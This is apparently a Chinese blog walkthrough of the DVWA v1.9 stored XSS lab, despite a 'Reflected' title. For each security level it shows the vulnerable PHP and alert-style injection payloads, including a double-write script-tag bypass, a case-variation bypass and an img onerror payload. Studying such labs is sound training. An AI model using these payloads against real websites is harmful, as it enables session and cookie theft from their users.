DVWA V1.9:Reflected Cross Site Scripting(存储型XSS)
DVWA V1.9:Reflected Cross Site Scripting(存储型XSS)
- 存储型 XSS 介绍
- Low 级别
- 核心代码
- 官方提示
- 漏洞利用
- Medium 级别
- 核心代码
- 官方提示
- 漏洞利用
- High 级别
- 核心代码
- 官方提示
- 漏洞利用
- Impossible 级别
- 核心代码
- 官方提示
存储型 XSS 介绍
“跨站点脚本(XSS)”攻击是一种注入问题,其中恶意脚本被注入到其他良性的和可信的网站中。
当攻击者使用Web应用程序将恶意代码(通常以浏览器端脚本的形式)发送给不同的最终用户时,会发生XSS攻击。
允许这些攻击成功的缺陷非常普遍,并且在Web应用程序的任何地方使用来自用户的输入在输出中发生,而不验证或编码它。
攻击者可以使用XSS向恶意的用户发送恶意脚本。
终端用户的浏览器没有办法知道脚本不应该被信任,并且将执行JavaScript。
因为它认为脚本来自可信来源,恶意脚本可以访问任何cookie、会话令牌或浏览器保留的其他敏感信息,并与该站点一起使用。
这些脚本甚至可以重写HTML页面的内容。
XSS存储在数据库中。XSS是永久的,直到数据库被重置或手动删除有效载荷。
Low 级别
核心代码
<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = stripslashes( $message );$message = mysql_real_escape_string( $message );// Sanitize name input$name = mysql_real_escape_string( $name );// Update database$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );//mysql_close();
}?>
trim(string,charlist)
函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符。
mysql_real_escape_string(string,connection)
函数会对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。
stripslashes(string)
函数删除字符串中的反斜杠。
可以看到,对输入并没有做XSS方面的过滤与检查,且存储在数据库中,因此这里存在明显的存储型XSS漏洞。
官方提示
低电平将不检查请求输入,然后将其包含在输出文本中使用。
Spoiler: Either name or message field: <script>alert("XSS");</script>.
漏洞利用
name一栏前端有字数限制,抓包改为<script>alert(/name/)</script>:成功弹框:
message一栏输入<script>alert(/xss/)</script>,成功弹框:
Medium 级别
核心代码
<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = strip_tags( addslashes( $message ) );$message = mysql_real_escape_string( $message );$message = htmlspecialchars( $message );// Sanitize name input$name = str_replace( '<script>', '', $name );$name = mysql_real_escape_string( $name );// Update database$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );//mysql_close();
}?>
strip_tags() 函数剥去字符串中的HTML、XML以及PHP的标签,但允许使用标签。
addslashes() 函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。
可以看到,由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码,但是对于name参数,只是简单过滤了《script》字符串,仍然存在存储型的XSS。
官方提示
开发者已经添加了一些保护,但是并没有以相同的方式完成每一个领域。
Spoiler: name field: <sCriPt>alert("XSS");</sCriPt>.
漏洞利用
双写绕过,大小写绕过,两个方法都行,步骤一样不复述了。
双写:<sc<script>ript>alert(/xss/)</script>
大小写:<Script>alert(/xss/)</script>
High 级别
核心代码
<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = strip_tags( addslashes( $message ) );$message = mysql_real_escape_string( $message );$message = htmlspecialchars( $message );// Sanitize name input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );$name = mysql_real_escape_string( $name );// Update database$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );//mysql_close();
}?>
可以看到,这里使用正则表达式过滤了
官方提示
开发人员现在相信他们可以通过删除模式 “<scrip*t” 来禁用所有JavaScript
Spoiler: HTML events.
漏洞利用
步骤差不多,就不复述了。
利用格式:<img src=1 onerror=alert(1)>
Impossible 级别
核心代码
<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = stripslashes( $message );$message = mysql_real_escape_string( $message );$message = htmlspecialchars( $message );// Sanitize name input$name = stripslashes( $name );$name = mysql_real_escape_string( $name );$name = htmlspecialchars( $name );// Update database$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );$data->bindParam( ':message', $message, PDO::PARAM_STR );$data->bindParam( ':name', $name, PDO::PARAM_STR );$data->execute();
}// Generate Anti-CSRF token
generateSessionToken();?>High Stored XSS Source
<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = strip_tags( addslashes( $message ) );$message = mysql_real_escape_string( $message );$message = htmlspecialchars( $message );// Sanitize name input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );$name = mysql_real_escape_string( $name );// Update database$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );//mysql_close();
}?>Medium Stored XSS Source
<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = strip_tags( addslashes( $message ) );$message = mysql_real_escape_string( $message );$message = htmlspecialchars( $message );// Sanitize name input$name = str_replace( '<script>', '', $name );$name = mysql_real_escape_string( $name );// Update database$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );//mysql_close();
}?>Low Stored XSS Source
<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = stripslashes( $message );$message = mysql_real_escape_string( $message );// Sanitize name input$name = mysql_real_escape_string( $name );// Update database$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );//mysql_close();
}?>
可以看到,通过使用htmlspecialchars函数,解决了XSS,但是要注意的是,如果htmlspecialchars函数使用不当,攻击者就可以通过编码的方式绕过函数进行XSS注入,尤其是DOM型的XSS。
官方提示
使用内置PHP函数(如htmlspecialchars()“”它可以逃避任何会改变输入行为的值。
参考链接:
新手指南:DVWA-1.9全级别教程(完结篇,附实例)之XSS
DVWA V1.9:Reflected Cross Site Scripting(存储型XSS)相关推荐
- Reflected Cross Site Scripting (XSS)
前言 反射型XSS, 即 Reflected Cross Site Scripting (XSS), 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的 页 ...
- DVWA关卡11:Reflected Cross Site Scripting (XSS)(反射型XSS)
目录 Low Medium High Impossible 反射型XSS:恶意脚本未经转义被直接输入并作为HTML输出的一部分,恶意脚本不在后台存储,直接在前端浏览器被执行. 攻击者可以使用XSS向恶 ...
- XSS(Cross Site Scripting)攻击简介
环境 Ubuntu 22.04 IntelliJ IDEA 2022.1.3 JDK 17.0.3.1 Spring Boot 3.0.1 Firefox 108.0.2 问题和分析 在Intelli ...
- XSSF - Cross Site Scripting Framework
2019独角兽企业重金招聘Python工程师标准>>> 跨站脚本框架 (XSSF) 是一个设计用来快速发现网站存在XSS漏洞的一个安全工具集. 该项目是为了验证网站存在的XSS漏洞及 ...
- Xss-reflected/stored跨站脚本分析(Cross site scripting)
Xss-reflected/stored跨站脚本分析(Cross site scripting) 基础知识 针对Dom - dochtml Url概念:协议+网址/dns+端口+路径 XSS原理:对U ...
- 【常见Web应用安全问题】---1、Cross Site Scripting
Web应用程序的安全性问题依其存在的形势划分,种类繁多,这里不准备介绍所有的,只介绍常见的一些. 常见Web应用安全问题安全性问题的列表: 1.跨站脚本攻击(CSS or XSS, Cross Si ...
- Cross Site Scripting DOM攻击jQuery append() 的处理方法
做安全红线使用Fortify工具进行扫描时,jquery append会报Cross Site Scripting DOM风险.解决该问题有两种办法. 一.原生dom方式 使用JavaScript原生 ...
- xss(Cross Site Scripting)
目录 xss 跨站脚本攻击 原理: 反射型XSS 存储型XSS xss 跨站脚本攻击 原理: 恶意攻击者在web页面中会插入一些恶意的script代码.当用户浏览该页面的时候,那么嵌入到web页面中s ...
- DVWA通关--存储型XSS(XSS (Stored))
目录 LOW 通关步骤 源码分析 MEDIUM 通关步骤 源码分析 HIGH 通关步骤 源码分析 IMPOSSIBLE 源码分析 存储型XSS也叫持久型XSS,从名字就知道特征是攻击代码会被存储在数据 ...
最新文章
- html圆角边框只有左边,border-radius以外的CSS圆角边框制作方法
- php5.2 zengd,大对杀狗狗再犯低级错误 ZEN狂输200目笑翻棋友
- jni中native通过adb输出
- VLC详细的使用说明以及配置说明综合示范实例精通VLC开发
- DCP(Deep Closest Point)论文阅读笔记以及详析
- jpsnamenode和不显示_hadoop启动后jps查不到namenode的解决办法
- 万年历单片机课程设计百度文库_单片机课程设计电子万年历设计
- CPC系统在win10上的安装,1小时快速安装
- 汇总站外seo方法和做法?
- 微信支付/支付宝指纹支付原理
- 用Python 统计、分析2020年江苏省事业单位招聘岗位 Excel 表格信息
- 广告行业中富媒体的概念
- CVPR2021 MotionRNN: A Flexible Model for Video Prediction with Spacetime-Varying Motions
- 分享《生死狙击2》的大场景草渲染
- exls下载后显示jsp_jsp页面点击连接,生成excel文件,然后下载
- 思科光传输功率查询_各厂家查收发光功率命令整理
- 蓝松AE模板SDK使用介绍.
- 宇龙数控仿真安装后连接服务器失败解决方法
- 【华为认证】HCIP 数通笔记—BGP路由反射器
- Windows 7 更新补丁(解决无法安装Axure RP 9)亲测可用
热门文章
- 倾情奉献:我的公众号矩阵之路
- iOS10新特性,适配教程,XCode8新特性
- Forge 发布倒计时三天:陈天写下他加入 ArcBlock 一周年的感慨 | ArcBlock 博客
- 看完让你彻底理解 WebSocket 原理
- Android开发——Android中的二维码生成与扫描
- python中如何引入π_python如何计算π
- Vue实例中生命周期created和mounted的区别(具体细节分析)。
- wps自动图文集 重新编号_如何使用自动图文集在Microsoft Word中快速插入文本块
- html利用百度地图查找路线,html调用百度地图API实现查找路线
- Facebook 秘钥散列